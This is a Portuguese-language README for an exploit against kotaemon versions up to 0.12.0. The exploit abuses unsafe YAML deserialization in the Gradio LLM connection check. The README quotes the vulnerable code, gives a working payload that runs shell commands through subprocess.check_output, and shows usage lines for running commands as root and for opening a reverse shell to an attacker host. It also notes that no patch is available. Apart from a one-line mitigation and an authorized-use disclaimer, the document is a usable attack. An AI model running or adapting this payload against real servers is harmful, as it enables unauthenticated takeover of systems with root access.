
Exploit de execução remota de código sem autenticação direcionado à desserialização insegura de YAML em verificações de conexão de LLM; suporta execução arbitrária de comandos e reverse shells via API Gradio exposta.
Execução remota de código não autenticada no kotaemon
(<= 0.12.0) por meio de desserialização insegura na verificação de conexão das configurações de LLM.
O handler Gradio check_connection das configurações de LLM do kotaemon
(libs/ktem/ktem/llms/ui.py) analisa um spec YAML fornecido pelo atacante e o desserializa de
forma insegura:
spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader) # attacker YAML
info["spec"].update(spec)
llm = deserialize(info["spec"], safe=False) # <-- safe=False
theflow.deserialize(..., safe=False) (theflow/utils/modules.py) resolve a chave __type__ de um
spec por meio de import_dotted_string sem lista de permissões e, em seguida, o instancia com
kwargs controlados pelo atacante:
if isinstance(value, dict) and "__type__" in value:
cls = import_dotted_string(value["__type__"], safe=False) # imports ANY dotted path
params = {k: deserialize(v, safe=False) for k, v in value.items() if k != "__type__"}
return cls(**params) # instantiates with attacker kwargs
Assim, um spec cujo __type__ seja subprocess.check_output executa um comando do sistema
operacional durante a desserialização (CWE-502).
Dois fatores tornam isso uma RCE não autenticada limpa:
auth=. O "login" apenas
alterna a visibilidade das abas da interface; todos os handlers de eventos registrados são
publicamente chamáveis. KH_FEATURE_USER_MANAGEMENT não restringe a API HTTP/fila.info["spec"].update(<attacker yaml>) substitui
totalmente o spec do LLM; portanto, o payload nunca contata nenhum provedor real de LLM.A imagem Docker oficial do kotaemon executa como root; portanto, a RCE é executada como root. Nenhuma correção upstream disponível no momento da redação deste texto.
O spec YAML entregue:
__type__: unittest.mock.Mock
return_value:
__type__: subprocess.check_output
args: [sh, -c, "<cmd>"]
text: true
deserialize faz recursão em return_value primeiro → subprocess.check_output(args=["sh","-c","<cmd>"], text=True) executa o comando. Envolvê-lo em unittest.mock.Mock absorve quaisquer kwargs restantes
do spec base (model/api_key) para que a chamada externa nunca quebre, e o stdout do comando é ecoado
de volta na mensagem Got response: ... do handler.
Apenas stdlib (Python 3). O exploit faz duas chamadas Gradio: create_llm (cria uma entrada LLM
nomeada para que llms.info()[name] seja resolvida) e depois check_connection (entrega o payload).
# run a command as root; output is returned in the response
python3 exploit.py http://TARGET:7860/ -c id
# -> ... Got response: uid=0(root) gid=0(root) groups=0(root)
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444
Se os nomes dos handlers create_llm / check_connection diferirem em um alvo, enumere-os a partir
de GET /config (dependencies[].api_name) e ajuste conforme necessário.
kotaemon <= 0.12.0 (porta padrão 7860). Nenhum patch upstream disponível no momento da redação
deste texto.
deserialize com safe=True e uma lista de permissões allowed_modules para que nenhum
__type__ do atacante alcance import_dotted_string.Apenas para testes de segurança autorizados e fins educacionais. Use somente contra sistemas que você possua ou para os quais tenha permissão explícita para testar.